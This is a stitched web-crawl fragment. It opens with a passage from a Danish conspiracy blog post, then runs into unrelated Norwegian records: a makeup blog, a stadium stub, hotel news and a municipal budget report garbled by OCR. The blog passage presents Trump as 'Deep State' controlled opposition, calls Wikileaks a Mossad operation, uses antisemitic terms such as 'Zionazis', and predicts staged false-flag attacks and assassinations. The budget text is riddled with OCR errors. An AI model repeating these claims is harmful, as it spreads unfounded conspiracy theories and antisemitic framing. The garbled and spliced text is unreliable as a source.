styret (eller styres allerede)\u00a0  \n2\\) som et nyt face-off face-on mask moment. Et nyt bad Bush \\> good Obama moment - med efterf\u00f8lgende Obama Stockholmsyndrom.  \n  \nNy svingd\u00f8r: Obama \\> Trump. Trump Stockholmsyndrom?  \n  \n   \n\u00a0 Obama var v\u00e6rre end Bush, og handlede i forl\u00e6ngelse af ham - noget som Noam Chomsky, Chris Hedges, John Pilger, Naomi Wolf, og mange andre inds\u00e5 meget tidligt - kun meget lidt refleksive mennesker har ikke indset det endnu.  \n  \n  \nMed marketing brand successen, Obama, er s\u00e5danne teknikker a la Tavistock, perfektionerede. N\u00e6sten. Man morpher kandidatens til befolkningens sindelags\u00e6ndringer i real-time ved at have en kandidat som artikulerer disse sindelags\u00e6ndringer - og p\u00e5 hvert givent tidspunkt har man s\u00e5ledes en kandidat i elitens hus - the house takes it all.  \n  \n1\\. narrativ: '*Clinton er den bedste,* *Trump den v\u00e6rste'*.  \n  \n  \n(hvis du er blevet fanget af mainstream mediernes d\u00e6kning af Trump, som uafvidende 1. narrativist, b\u00f8r du starte studiet af 2. narrativet her).   \n  \n  \n2\\. narrativ: *'Trump er den bedste, Clinton, den v\u00e6rste**'*.  \n  \n  \n3\\. narrativ: *'Trump er kontrolleret opposition, og b\u00e5de Clinton og Trump spillede 'Good cop, Bad cop' i the Deep State* *perception management'*   \n  \nDette er det mest usynlige narrativ**.**   \n  \n  \nEn plausibel 3. narrativist-tese, m\u00e5ske den pt. bedste, og bedst artikulerede findes i f\u00f8lgende artikel, som argumenterer for dette 'tredje narrativ':   \n\n> **The Trump Ploy****  \n> **'The deep state ushered in Trump because he's clearly their most useful decoy. As the country hopes in vain, the crooked men behind the curtain will go on with business as usual. Trump is simply an Obama for a different demographic. Nothing will change for the better.'  \n> http://www.unz.com/ldinh/the-trump-ploy\n\n  \nL\u00e6g m\u00e6rke til de mange vidende, l\u00e6rerige, skarpe Pro et Con kommentatorer til ovenn\u00e6vnte artikel.  \n  \nEr mange af de opv\u00e5gnede nu selv i en tilstand af kognitiv dissonans, fordi Trump artikulerede mange folks utilfredshed, dissidenters kritik ?  \n  \n\n> *'A great deal of intelligence can be invested in ignorance when the need for illusion is deep.'*  \n> \\- Saul Bellow\n\n  \nEn kort detour som eksempel: Wikileaks spillede en integral rolle og \u00e5rsag til, at Clinton mistede mange v\u00e6lgere og til Trump's sejr - men er Wikileaks ikke limited hang-out gatekeeper?**  \n**  \n  \n Der er mange tungtvejende rationelle grunde, som mange uafh\u00e6ngige stemmer har konkluderet, til at tvivle p\u00e5 Wikileak's integritet, deres mange anomalier, og deres forbindelse til Mossad/Israel\u00a0 - g\u00f8r dit hjemmearbejde\\!  \n  \nSom jeg skrev i 2010:   \n\n> De mennesker som er mest pr\u00e6disponerede for IKKE at tro p\u00e5 Wikileaks a la COINTELPRO\u00a0 (COINTELPRO - Wikipedia) er **b\u00e5de h\u00f8jre og venstre:** Information og Berlingske, Politiken og JP, ja, alle aviser i Danmark. For mig er det groteskt tragisk morsomt, n\u00e5r chefredakt\u00f8r fra Berlingske, Lisbeth Knudsen, i sin tid skrev: \"WikiLeaks \u2013 l\u00e6kagernes ansvarsfrie hjemsted\"\n\n>   \n> DETTE er n\u00f8jagtigt hvordan manipulationen finder sted - de f\u00e5r venstrefl\u00f8jens reaktion, som v\u00e6rds\u00e6tter Wikileaks som en prisv\u00e6rdig whistleblower, og h\u00f8jrefl\u00f8jen til at erkl\u00e6re Wikileaks som en trussel. **Det TREDJE narrativ** (Wikileak som cointelpro/psyops operation) **eksisterer ikke engang p\u00e5 den kognitive radar** hos disse journalister, aviser, opinionsdannere, dissidenter, etc. - alt imens s\u00e5danne operationer har fundet sted siden 50'erne og f\u00f8r. Se ogs\u00e5: CIA's operation CHAOS https://en.wikipedia.org/wiki/Operation\\_CHAOS og Operation Mockingbird (Operation Mockingbird: et CIA projekt hvis specifikke form\u00e5l var at styre medierne ifht. specifikke historier via hemmelige agenter. Programmet sluttede aldrig men morphede videre ind i vor tidsalder).\n\n  \n> **WikiLeaks Rigged The Election - ASSANGE MOSSAD PIED PIPER**  \n> (VIDEO - You Tube, 9. november 2016)\n\n  \nI 2014 blev en lov vedtaget i USA, som gjorde det lovligt for staten at propagandere overfor befolkningen, med andre ord opfinde fiktive historier og vinkler med det form\u00e5l at p\u00e5virke befolkningen i en bestemt retning  \n  \nWikileaks-historien illustrerer bl.a. hvordan b\u00e5de h\u00f8jre og venstre agerer, som intenderet af The Deep State. P\u00e5 samme m\u00e5de er Trump en analogisk operation.  \n  \nBlot fordi Jens Jensen ikke selv kan forestille sig denne grad af sofistikering, dj\u00e6velsk udspekulerthed, kompleksitet, - qua hans egen godhjertethed,\u00a0 bl\u00e5\u00f8jethed og uvidenhed -\u00a0 fejlbed\u00f8mmer han en s\u00e5dan mulighed som ut\u00e6nkelig (selvom s\u00e5danne operationer er travesti og standard for efterretningstjenester - oh, the irony -  Sp\u00f8rg John Young fra Cryptome, medstifter og h\u00e5rd kritiker af Wikileaks.) - n\u00f8jagtigt som The Deep State og Mossad \u00f8nsker det.  \n  \n  \nP\u00e5 dansk*:* **The Deep State**   \n  \nTrumps kabinetudn\u00e6vnelser vil afsl\u00f8re snart, om nogen forandring overhovedet er p\u00e5 vej. Selv *hvis* Trump har noget \u00e6gte i sig p\u00e5 befolkningens vegne - p\u00e5 trods af hans indlysende fejlbarligheder - er han truet af the Deep State, endda selvom The Deep State kan v\u00e6re i intern splittelse, om hvilken mafi\u00f8s faktion skal sidde p\u00e5 magten? Se fodnote **\\[1\\]**  \n  \nTrump vil ikke forf\u00f8lge Clinton for hendes indlysende kriminelle handlinger - et U-turn i forhold til hans tidligere udtalelser (se video foroven) - 'nasty woman', 'criminal people', etc.  \n  \nMan kan - som med Obama - Stockholmsyndromistisk argumentere for, at Trump spiller gode miner til slet spil, at han f.eks. ikke kan forf\u00f8lge Clinton af frygt for forv\u00e6rring af uroligheder, Californiens og andre staters trussel om l\u00f8srivelse, at han heller ikke kunne lufte skepsis om 9/11 i det offentlige rum, af frygt for at fremmedg\u00f8re 'the sheeple', og pga. den selvsamme elite, som han bliver n\u00f8dt til at h\u00e5ndtere nu, at han ikke kan foretage for radikale hensigtserkl\u00f8ringer om mange ting, som vil v\u00e6re l\u00f8ftebrud\u00a0 (l\u00e6g dog m\u00e6rke til, at det var Neocons, som applauderede Obama's krigshandlinger, s\u00e5 snart han fik magten, inkl. Cheney, m.fl.).  \n  \nTrumps kabinet kandidater er i \u00f8vrigt Neocons, CFR, Skull & Bones, TLC, etc. Om han vil v\u00e6lge dem, vil vise hans kort.. presset eller ej.  \n  \nDet ser ikke godt ud forel\u00f8bigt (men giver god mening i forhold til tesen om kontrolleret opposition, idet Clintons kabinet ville v\u00e6re fyldt af de samme Neocons, CFR, Zionazis, etc.):  \n\n Trump ruller ikke pludseligt 70 \u00e5rs (eller hundreder af \u00e5rs) Deep State og Zionisme tilbage som \u00e9n mand.   \n  \nEt citat i denne uge fra en veteran som har oplevet amerikansk politik indefra som kongresmand og tidligere pr\u00e6sidentkandidat, Ron Paul:  \n\n> \"But quite frankly there is an outside source which we refer to as the 'deep state' or the 'shadow government'. There is a lot of influence by people which are actually more powerful than our government itself, our president,\"  \n> \\- World Exclusive, 11. november,** Trump should resist neocon & shadow gov't influence to justify people's hopes \u2013 Ron Paul to RT**\n\n  \nDyret som har opereret fra skyggerne i lang tid, er tr\u00e6ngt af den globale opv\u00e5gnen, gemmer sig i m\u00f8rket, og er farligst, n\u00e5r det er tr\u00e6ngt i krogene - vil tr\u00e6kke s\u00e5 mange med i faldet for at realisere dets psykopatiske version af NWO.  \n  \nMange af protesterne mod Trump er arrangerede af George Soros  \nDel & Hersk perception management, hvor polariserede synspunkter mellem \"venstre\" og \"h\u00f8jre\" i befolkningen er kontrolleret kaos management?  \nKursen er og har v\u00e6ret krig og en global centralisering, fjernelsen af retten til at b\u00e6re v\u00e5ben (2. amendment), etc. Trump bekr\u00e6fter dog, at the 2. amendment er ur\u00f8rlig, forel\u00f8bigt en god ting.  \n  \n  \nNoget meget, meget stort er p\u00e5 vej a la Mother of all false flags (biologisk/nukleart/etc), \u00f8konomisk sammenbrud, og\u00a0 krigshandlinger udvides voldsomt, undtagelsestiltand, etc. Blandt nogle af de som v\u00e5gnede f\u00f8rst, har de fleste h\u00f8rt det og forventet det i mange \u00e5r; \"ulven kommer, ulven kommer\". Mange er desensitiverede af samme grund, men... en dag kommer ulven....  \n  \nMed en (false flag) terroraktion i USA (udf\u00f8rt af dele af amerikanske efterretningstjenester) vil synderne \\[l\u00e6s:syndebukke\\] blive udpegede (Syrien, Iran, Rusland, etc.), og folket vil derfor v\u00e6re mere tilb\u00f8jelige til at acceptere Trump's svar i form udvidede krigshandlinger, undtagelsestilstand, geng\u00e6ldelsesangreb, etc. selvom disse handlinger er eksakt identiske med Clinton's linje - og pga. den enorme b\u00f8lge af folkeligt h\u00e5b og tillid til Trump, vil folk f\u00f8lge den samme linje, som de ellers ikke ville acceptere, hvis Clinton/Obama havde gjort det samme.\u00a0   \n\u00a0  \nEller worst-case scenario: Trump kan blive henrettet, dersom han ikke handler i Israels interesser, synderen vil blive udpeget, og krigshandlinger, undtagelsestilstand, geng\u00e6ldelsesangreb, etc. vil derfor blive langt mere accepteret af den folkelige opinion, hvis raseri og h\u00e6vnt\u00f8rst over Trump's d\u00f8d, som var deres lys og h\u00e5b imod The Deep State, vil 'legitimere' Obama's eller Trump's substitut's krigshandlinger, undtagelsestilstand, frihedsrettigheder suspenderet i endnu h\u00f8jere grad, etc. - selvom disse er p\u00e5 linje med Clinton's og Obama's intention (puppets of The Deep State). Obama kan blive henrettet, hvorved Obama-administrationen kan blive ved magten. Det samme g\u00e6lder ved enhver grund til \u00e5benlys undtagelsestilstand.  \n  \nI begge tilf\u00e6lde vil Neocons og Zionisterne have opn\u00e5et deres m\u00e5l. Alt sammen manipuleret - courtesy of The Deep State\\!  \n  \n  \nHar The Deep State indg\u00e5et et kompromis pga intern uenighed og frygt for civil opstand, hvorfor linjen nu er anderledes, Obama pludselig tr\u00e6kker sin support til Al-Qaeda, etc.? Dette er den mindre negative tolkning. Se fodnote **\\[2\\]**  \n  \nHar aldrig oplevet s\u00e5 megen tolkningsforvirring blandt the Truth/Justice/Freedom/Alternative media - det er nu (igen), at skelnevnen og sand info er beh\u00f8vet mere end nogensinde samtidigt som disinfo agents og disinformationen er p\u00e5 sit h\u00f8jeste.  \n  \nMens vi 'venter' p\u00e5 det n\u00e6ste mega monster mindfuck af masserne, m\u00e5 man g\u00f8re sin research og v\u00e6re ekstra \u00e5rv\u00e5gnen p\u00e5 jagt efter modsigelser, anomalier, etc. og sprede ordet om hvad man finder...  \n  \nDette er en intro til kommende bullet points, som forh\u00e5bentlig ikke vil validere ovenst\u00e5ende.  \n  \nHold the line, spread the word...  \n  \n\\_\\_\\_\\_\\_\\_\\_\\_\\_\\_\\_\\_\\_\\_\\_\\_\\_\\_\\_\\_\\_\\_\\_\\_\\_\\_\\_\\_\\_\\_\\_\\_\\_\\_\\_\\_\\_\\_\\_\\_\\_  \n  \n**Fodnoter**  \nUdvalgte kommentarer til** The Trump Ploy****  \n**\u00a0fra http://www.unz.com/ldinh/the-trump-ploy :  \n  \n**\\[1\\]\u00a0 **  \n\n> The empire is in crisis. It has looted itself to such an extent that serious divisions have arisen. The neocons want to double down while the realists look to a partial withdrawal from empire. They see a rebuilding as necessary. The empire entered a period of hubris post 1989 and forgot to monitor its main rivals ie. Russia and China. It also drove these rivals into each other's arms, when Russia is culturally very Europe-oriented. Looting reached a point where America had fallen one or more generations behind in the quality of key lethal weapons and transportation systems for those weapons. Because the miltary is weak and the debts are piling up it can no longer maintain empire, enforce the dictates of Wall Street, the expansionism of Israel or attend to the wishes of a lucrative customer \u2013 Saudi Arabia. Hence the crisis.\n\n> The realists are old WASPs who resent what they see as a Zionist takeover which is now threatening their very existence. Clinton of course represents the neocons while Trump is the realist candidate. That the rebellion goes deeper and wider than many had imagined can be seen both in the power of the alt right in alternative media and the election results. The alt right is correct on foreign policy and entirely wrong about what is wrong with the country. The problem is not too much government or \"socialism\" (give us a break\\!) but too much Wall Street.  \n>   \n> As the Zionists control the established media in its entirety the attempt to crush Trump was genuine. The problem was that, like Rambo in his field, Trump is a first-class practitioner of media. As the campaign reached its climax Trump began to sound more presidential \u2013 was he getting quality advice? When the FBI director decided to reopen investigations into Clinton at a very critical point in the election process he could not have done so without some heavy muscle behind him. The neocon Zionists will try to control Trump through old foxes like Bolton while the realists will attempt to block that influence.  \n>   \n> Trump is far too powerful, wealthy and egocentric to be easily controlled. As Mr Unz says he's a loose cannon. But he is far smarter and stronger than W. Sanders would have been much easier to deal with. They say Sanders would have been better against Trump. No. In Trumpian terms he's a loser and would have been crushed. HC, despite her considerable baggage, won the popular vote so they weren't too far off.\n\n  \n**\\[2\\]\u00a0** \"This article has to be a bad misreading of Trump.  \n\n> Just two points show the problem:  \n>   \n> 1\\) The Establishment had such a hysterical fear of a Trump victory that it couldn't be faked. Every financial /propaganda resource they had was directed at stopping him, even at the cost of the MSM losing all credibility.  \n> 2\\) Trump is an experienced high-rise developer from New York so he knows better than anyone what happened to Building 7 plus the other two towers on 9/11. The point is, that there's no daylight between Trump and the fake official account \u2013 so he's looking to deal with the Neo-cons rather than fight them.  \n> Trump seems quite at home in this ethics-free environment, and is ready to flip-flop tactically to gain an advantage (e.g. abortion, foreign intervention etc.) without having any real beliefs one way or the other. For sure he's no doctrinaire Lenin or Hitler into totalitarian \"..isms\" , \"enemies of the people\" etc.  \n>   \n> In fact he looks more like Putin. Putin could have investigated the \"Loans for Shares\" looting of Russia under Yeltsin (organized by Russian/Jewish oligarchs), but he let them keep their gains in return for non-interference with his political power. When they broke the rule, there was a swift reaction with their leader (Khodorkovsky) getting a long prison sentence (tax fraud) with others being publicly humiliated.  \n>   \n> I've followed Trump for years (best summary \"Art of the Deal\") and he's an active \"hands on\" fighter, alliance builder, detail checker, always estimating the odds before he engages. The proof is the way he beat Clinton, reaching out to every group (no Deplorables in his world) and putting in the effort , while she left it to the Establishment and the MSM to organize her coronation.  \n> So Trump comes across as a \"Gang Boss\" for want of a better description, with the emphasis on personal power and valuing loyalty to himself.  \n> If this is right, then there are some interesting possibilities:  \n>   \n> **9/11** \u2013 No investigation of anything if the Neo-cons/Zionists support him.  \n> **Wall St.** \u2013 The QE game is finished with the FED forced to direct money towards infrastructure rather than their friends. Supports his base.  \n> **M.E. War**s \u2013 Also finished. Israel remains Americas best friend but \"America First\" = spending in the US. Still support Israel in the UN with an automatic veto.  \n> **Immigration** \u2013 He recognizes the demographic challenge to his voter base, so it's more than likely that he'll almost completely shut down illegal AND legal immigration.  \n> **Outsourcing** \u2013 Returning manufacturing to the US will be a big winner with his base, regardless of a Wall St. crash and the 0,1% losing $ billions in profits, so he'll do it.  \n>   \n> End result that Trump could be as popular in the US as Putin is in Russia.\"  \n", "language": "no", "__index_level_0__": "d6f7e92a-4a7b-4b45-8263-766287b0e08e"}
{"url": "http://feelinggoodbyh.blogspot.com/2015/09/sminke-til-hverdags.html", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00375.warc.gz", "warc_date": "2018-03-24T23:43:26Z", "text": "\n\n## onsdag 2. september 2015\n\n### Sminke til hverdags?\n\n  \n\n **Tilsl\u00f8rt bondepike,**  \n\n**eller nysminket bydame?**\n\nSom regel er det den usminkede sannhet som regjerer, men det gj\u00f8r seg \u00e5 investere i litt tid foran speilet. For det er ikke s\u00e5 mange minuttene som skal til.\n\n  \n\n\n  \nHer er denne h\u00f8sten favoritter. P\u00e5 denne tiden av \u00e5ret pleier jeg ikke \u00e5 bruke fondation med farge. Derimot er jeg stor fan av id- pudder, det gir en naturlig look. En ny greie er contur-shaping. Trio fra Smashbox gir mulighet til \u00e5 leke litt med skyggelegging og forh\u00e5pentligvis skjule min dobbelthake. Ellers er det \u00f8yenskygge, kajal og mascara. Brynene er m\u00f8rke fra naturens side, s\u00e5 de bare nappes i fasong. Leppestift velger jeg alt etter hum\u00f8r og hva jeg har p\u00e5 meg. Den siste uken har jeg brukt en rosabrun neglelakk og leppestift, det passer til det meste.\n\n  \n\n\n  \nSlik ble resultatet etter 10 minutter foran speilet, naturlig men litt freshere. Chanel bak \u00f8rene,en kam gjennom h\u00e5ret og jeg er klar for dagens gj\u00f8rem\u00e5l.\n\n  \n\n\n  \nHar en rosa periode n\u00e5 om dagen, rosa genser, rosa senget\u00f8y og rosa natt\u00f8y. Sistnevnte er fra Victoria Secret, og det var ordentlig morsomt \u00e5 hente pakke p\u00e5 posten.\n\nHa en fabelaktig ettermiddag, s\u00e5 sees vi om noen strakser.\n\n  \n\n\nFeeling good by H  kl. \n\n## Om meg\n\n\n\n  - Feeling good by H  \n    Jeg er en dame som bor i byen, men om sommeren flytter vi p\u00e5 hytta ved sj\u00f8en. Jeg er gift med gode F og har fire flotte barn. N\u00e5r jeg har ledig tid, elsker jeg \u00e5 holde p\u00e5 med et h\u00e5ndarbeid eller lage god mat. Mitt motto i livet er; \" Det er ikke hvordan man har det, men hvordan man tar det\\!\"\n\n    \n\n", "language": "no", "__index_level_0__": "dd5314f2-3fe3-436f-8c2c-f7d7aef890c7"}
{"url": "https://no.wikipedia.org/wiki/Korsvollbanen", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00058.warc.gz", "warc_date": "2018-03-25T00:08:14Z", "text": "2\u00a0000 (200 sittende)\n\n**Korsvollbanen** er hjemmebanen til fotballklubben Korsvoll IL. Klubben tilh\u00f8rer hjemme p\u00e5 Korsvoll i Nordre Aker, Oslo. Stadionkapasiteten er omkring 2 000. I en cupkamp mot FC Lyn Oslo i juni 2008 var det rundt 1 300 tilskuere p\u00e5 plass.\n\nRundt omkring banen har klubbens dugnadsgjeng *Team Arvid* oppf\u00f8rt to tribuner som tar cirka 200 tilskuere, samt innbytterbenker og en helt ny speakerbu til 2009-sesongen. I 2003 ble Korsvollbanen lagt om fra naturgress til kunstgress.\n\n\n\n", "language": "no", "__index_level_0__": "84547df5-2825-408e-99e6-56a3938ccf97"}
{"url": "http://travelnews.no/nyheter/23-nye-preferred-hotels-resorts/", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00228.warc.gz", "warc_date": "2018-03-24T23:29:20Z", "text": "# 23 nye i Preferred Hotels\n\nPreferred Hotels & Resorts fikk 23 nye medlemshoteller fra mai til juli 2017.\n\nBlant de nye Preferred-hotellene finner vi Hotel MiM Sitges**\u00a0**(Sitges, Spania), som ligger ca 45 minutter sydvest for Barcelona, Ambassador Chicago\u00a0(Chicago, Illinois, USA) \u2013 et ikonisk landemerke ved Chicagos ber\u00f8mte Gold Coast, Cerulean Tower Tokyo Hotel (Tokyo, Japan) med sine 40 etasjer, Mercnants Manor Hotel & Spa (Falmouth, Storbritannia) \u2013 bygget i 1913 og Iberostar Grand Hotel Rose Hall (Montego Bay, Jamaica).\n\n**De andre nykommerne i\u00a0Preferred Hotels & Resorts er:  \n**\n\n", "language": "no", "__index_level_0__": "38351f10-57e5-4d04-907a-b2a789755439"}
{"url": "http://docplayer.me/2357452-Fauske-kommune-12-4427-i-i-arkiv-jouralpostid-saldd-12-1123-i-saksbehandler-gunar-sveen.html", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00517.warc.gz", "warc_date": "2018-03-25T00:16:44Z", "text": "1 I------\\~' \\~ \\~ i SAKSPAPIR FAUSKE KOMMUNE 12/4427 I I Arkiv JouralpostID: saldd.: 12/1123 I Saksbehandler: Gunar Sveen Sluttbehandlede vedtaksinstans: Sak nr.: 114/12 I FORMANNSKAP I Dato: \u00d8KONOMIMELDING 1\\~2012 Vedlegg: Vedlegg 1-Budsjetteguleringer \u00f8konomimelding i 2012 Vedlegg 2-Status investeringer pr 1.ertia konomimelding viser \u00f8konomisk status p\u00e5 kjente regnskapstall pr Den \u00f8konomiske statusen vil danne grunnlaget for forslag om ulike budsjettreguleringer. I \u00f8konomimeldingen inng\u00e5r ogs\u00e5 obligatorisk rapportering om finansforvaltning i tr\u00e5d med forskrift og finansreglement. 1.0 RESULTATVUERIG Driften av resultatenbetene sanilet Framskrevet resultat for resultatenhetene samlet gir et prognostisert mindreforbru p\u00e5 Ca. 2 mill. kr. Korrigert for st\u00f8rre tidsforskyvninger p\u00e5 inntekter og utgifter, er driften i tr\u00e5d med budsjett pr 1. april-f\u00f8r fordeling av generelt innsparingskrav p\u00e5 9 mill. kr. i For \u00e5f\u00e5 et riktig bilde av i\\!ituasjonen m\u00e5 vi ta med budsjettert driftsreduksjon i hht. kommunestyrets budsjettvedtak, I det ligger en bemaningsreduksjons tilsvarende 9 mill. kr som - ikke er fordelt ut p\u00e5 enhetene, og som m\u00e5 dekkes inn resten av \u00e5ret for \u00e5 ung\u00e5 et merforbru. Det betyr at pr. 1. tertial er en underdekning p\u00e5 driften p\u00e5 ca. 7 mil. kr. R\u00e5dmanen vil understreke at det budsjettet for 2012 er meget stramt og at det er utfordringer og en usikkerhet knytet til vikarbru innenfor pleie/omsorg og finansiering av samhandlingsreformen, samt \u00e5rets l\u00f8nnsoppgj\u00f8r. N\u00e5r det gjelder vikarbru innenfor pleie/omsorg viser regnskapstallene for f\u00f8rste tertial at forbruet etter fratrekk for sykepengerefusjoner er for h\u00f8yt. Det jobbes med flere tiltak for \u00e5 redusere merforbru og det forventes at det vil begynne \u00e5 gi effekt allerede innev\u00e6rende \u00e5r. Samandlingsreformen er et usikkerhetsmoment i forhold til kommunens \u00f8konomi. Hvis utviklingen fortsetter med same tendens som f\u00f8rste tertial, kan dette medf\u00f8re et forventet merforbru i forhold til budsjett p\u00e5 6,6 mill. kr.\n\n\n\n2 I budsjettet er det lagt inn en forventet l\u00f8nnsvekst p\u00e5 3,04 %. En \u00f8kning utover dette er det ikke dekning for i budsjettet. Resultatet av l\u00f8nnsoppgj\u00f8ret er ikke klart og konsekvensene for budsjettet f\u00f8lges opp i neste \u00f8konomimelding Tabell 1 p\u00e5 neste side viser samlet oversikt over avvik i forhold til periodisert budsjett pr 1. tertial Tabell 1- Forbrukpr l. tertial20l2 (mil kr) Bl.d$jett Regnskap Forbruk Periodisert Avvik 2012 hittil hittil % Budsjett hittil i kr Fast l\u00f8nn 286,46 103,42 36% 103,52-0,10 Overtid 1,79 i.l 62% 0,60 0,51 Vikarutgifter inkl eksterne 20,12 9,15 45% 6,71 2,44 Annen l\u00f8nn 24,67 6,91 28% 8,22-1,32 Sosiale utgifter 66,17 22,32 34% n06 0,26 Kj\u00d8psom inng\u00e2r i kommunal tjenesteprod 93,73 31,75 34% 31,24 0,51 KJ\u00f8P som erstatter kommunal tjenesteprod 64,74 20,10 31% 26,S7-6,47 Overf\u00f8ringer 33,77 14,90 44% 11,26 3,64 Syke penge r/f\u00f8dse i spe nge r -12,64-6,06 48% -4,21-1,84 Sum utgifter 578,81 203,60 35% 205,96-2,37 Netto rehter, finans transaksjoner -7,69-2,88 37% -2,56-0,32 Brukerbetalinger. Salgs- og leieinntekter -44;79-13,41 30% -14,93 1,S2 Overf\u00f8ringsinntekter ekskl. syke og f\u00f8dse i spe nge r \"38,08-7,44 20% -7,00-0,44 Tilskudd stat, kommuner og private -13,18-4,87 37% -4,39-0,48 Sum in Ilte kte r -103,73-28,60 124% -28,88 0,28 Netto 497,34 1\\~,\\~ 37% 178,81-2, RAPORTERIG RESULTATENlETER Tabell 2 nedenfor viser at enhetenes utgifter pr 1. april ligger 2,4 mill. kr. lavere enn periodisert budsjett. I hovedsak skyldes dette at overf\u00f8ringer fra barehageenhet vedr. styrket barehagetilbud i private barehager enn\u00e5 ikke er utbetalt, samt at det ligger en forskyving i tidspunt for overf\u00f8ring av kommunalt driftstiskudd til disse barehagene. Justert for dette er det ingen st\u00f8rre avvik pr 1. tertial. Tabell 2 - Utgifer pr l. tertialfordelt p\u00e5 enhetene (mil kr)\n\n\n\n\n6 redusert rammeoverf\u00f8ringen, men en forventet \u00f8kning i skatteinngangen gir \u00f8kte overf\u00f8ringer ti kommunen. Prognosen totalt for de frie inntektene tilsier en \u00f8kning p\u00e5 1,8 mil kr i de frie inntektene i forhold til budsjett R\u00e5dmanen velger likevel \u00e5 avvente endringer i budsjettet, for \u00e5 se utviklingen i h\u00f8st. Erfaringer fra 2011 var at prognosen fra v\u00e5ren ble endret il\u00f8pet av h\u00f8sten. En kommer derfor tilbake til eventuell budsjettregulering i h\u00f8stens \u00f8konomimelding. Eiendomsskatt Det forventes en merinntekt p\u00e5 eiendomsskatt p\u00e5 kr. Renteutgifter I budsjett 2012 er det lagt inn en forventet gjennomsnittsrente p\u00e5 3,5 %. Ut fra utviklingen i NIBOR-rente hittil i \u00e5r forventes det at budsjettet vil holde. Utbytte Mottatt utbyte fra SKS for 2012 blir vesentlig lavere enn budsjettert. Inntektsf\u00f8rt utbyte SKS i 2011 utgjorde 13,9 mil. For 2012 er det budsjettert med til sammen 14,7 mill. i utbyte fra SKS og Fauske Lysverk. Utbyte fra Fauske Lysverk er n\u00e5r dette skrves enda ikke kjent. Redusert utbyte fra SKS utgj\u00f8r 4,28 mill. og er tatt med i budsjettreguleringen.\n\n\n\n9 1. Boliger Bl\u00e5skjellveien: Det gjenst\u00e5r enn\u00e5 noen utenomhusarbeider. Regnskapsstatus indikerer en mulig overskridelse p\u00e5 prosjektet med ca. 0,1 mill. kr. R\u00e5dmanen vil komme tibake til inndekning n\u00e5r alle arbeidene er sluttf\u00f8rt og det endelige regnskapet foreligger. 2. Sulitjelma skole: Forberedende arbeider med veganlegg, samt anlegg av tilknytningsanlegg for vann, avl\u00f8p og elektrisitet b\u00f8d p\u00e5 betydelige utfordringer og ble vesentlig mere omfattende og k\u00f8stnadskrevende enn antatt. Merkostnadene er.dekket inn gjennom bruk av reservepostene for anlegget. Disse er n\u00e5 i hovedsak disponert og dette tilsier at \u00f8konomistyringen av prosjektet framover m\u00e5 v\u00e6re sv\u00e6rt streng. I finansieringsplanen for investeringene er det forutsatt salg av eiendom med 7,0 mill. kr. Pr i dag er det gjennomf\u00f8rt salg for n\u00e6r 3,7 mill. kr. R\u00e5dmannen legger til grunn at inntektsm\u00e5let kan n\u00e5es. Som f\u00f8lge av foresl\u00e5tt reduksjon av overf\u00f8ring fra drift til investering p\u00e5 2,6 mil. kr., vil det mangle tilsvarende bel\u00f8p p\u00e5 finansieringssiden i investeringsbudsjettet. R.\u00e5dmanen foresl\u00e5r derfor at investeringsbudsjettet salderes med bruk av ubundet investeringsfond med 2,6 mill. kr. som f\u00f8lger: Overf\u00f8r\u00ecng ftadriftsregnskaipet Bru av ubundet investeringsfond Netto: 2,6 mil. kr (reduksjon.) -2,6 mill. kr. (\u00f8kning) 0,0 niill. kr. 6.0 FINANSFORVALTNING 6.1 KORTsIKtIG LI:(vinITET Saml\u00e8t iooskudd i bank utgjorde pr , ca. 95 mill. kr. Av disse er 32 mill. kr. midler som skriver seg fra ekstraordin\u00e6rt utbytte/aksjesalg SKS Disse er plassert i Nordlandsbanen, med en rente p\u00e5 3,45 %. Videre er ca. 17 mill. kr. ti en hver tid bundet opp ti skattetrekk Resten et i hovedsak driftslikvider og varierer fra m\u00e5ted ti m\u00e5ned \u00ec forhold til l\u00f8nnsutbetalinger, mottak av rametilskudd og skatteinngang. Disse kontiene er hovedsak knyttet til 3 m\u00e5neders NIBOR-rente med fradrag fra 0..0,5 %. N\u00e5r dette skrives er NIBOR-renten 2,70 %. Figu 1 nedenfor viser utviklingen p\u00e5 foliokonto 1. tertial og viser at likviditeten i erielte tidsrom har v\u00e6rt negativ, noe som betyr at en har m\u00e5ttet truet p\u00e5 kassakreditt.\n\n11 Figur 3 - Utvikling plassering SBl forvaltning HjemfalIsfond Plassering SBl Forvaltning \\~\\~ \\~ Januar Februar Mars April Pr. 30. april er verdien p\u00e5 plasseringene \u00f8kt med 2,6 mil. kr. sammenlignet med Utviklingen i portef\u00f8ljene har v\u00e6rt positive f\u00f8rste tertial, samtidig har det v\u00e6rt og er fortsatt mye uro i finansmarkedene som f\u00f8lge av finanskrisen i EU. Dette betyr usikkerhet spesielt i forhold til utenlandske plasseringer. Kommunens plasseringer er basert p\u00e5 en forsiktig risikoprofi i tr\u00e5d med vedtatt finansreglement. Hovedvekt ligger p\u00e5 langsiktige norske obligasjoner med forventet god avkastning. 6.3 GJELDSPORTEF\u00d8LJE Kommunens langsiktige gjeld best\u00e5r n\u00e5 av 3 l\u00e5n i Kommunalbanken og 1 l\u00e5n i KLP Kommunekreditt I tilegg har kommunen diverse l\u00e5n til videre utl\u00e5n i Husbanken. Tabell 8 - Fordeling gjelden pr 30 april 2012 L\u00e5neopptak Restgjeld Rente pr. Andel Rentevilk\u00e5r l\u00e5n april 2012 Nedbetalt KOMMUNALBANKEN ,70% 43,85 % Reguleres mot 3 mnd. NIBOR hver kval 2031 KOMMUNALBANKEN ,82% 16,64 % Fastrente 5 \u00e5r fra juni KOMMUNALBANKEN ,58% 24,06 % Fastrente 5 \u00e5r fra des KlP Kommunekreditt ,36% 15,45 % Fastrente 3 \u00e5r fra des Totalt/vektet rente ,20% 100,00% Figur 4 viser utviklingen i 3 m\u00e5neders NIBOR (inkl. fastsatt margin). Som det framg\u00e5r har den flytende renten beveget seg noe oppover siden fra 2009 til utgangen av I kvartal 2012 ble imidlertid renten satt ned med 0,7 prosentpoeng, slik at vi n\u00e5r dette skrives har en flytende rente p\u00e52,7 %. Figur 4 - Utvikling 3 m\u00e5neders 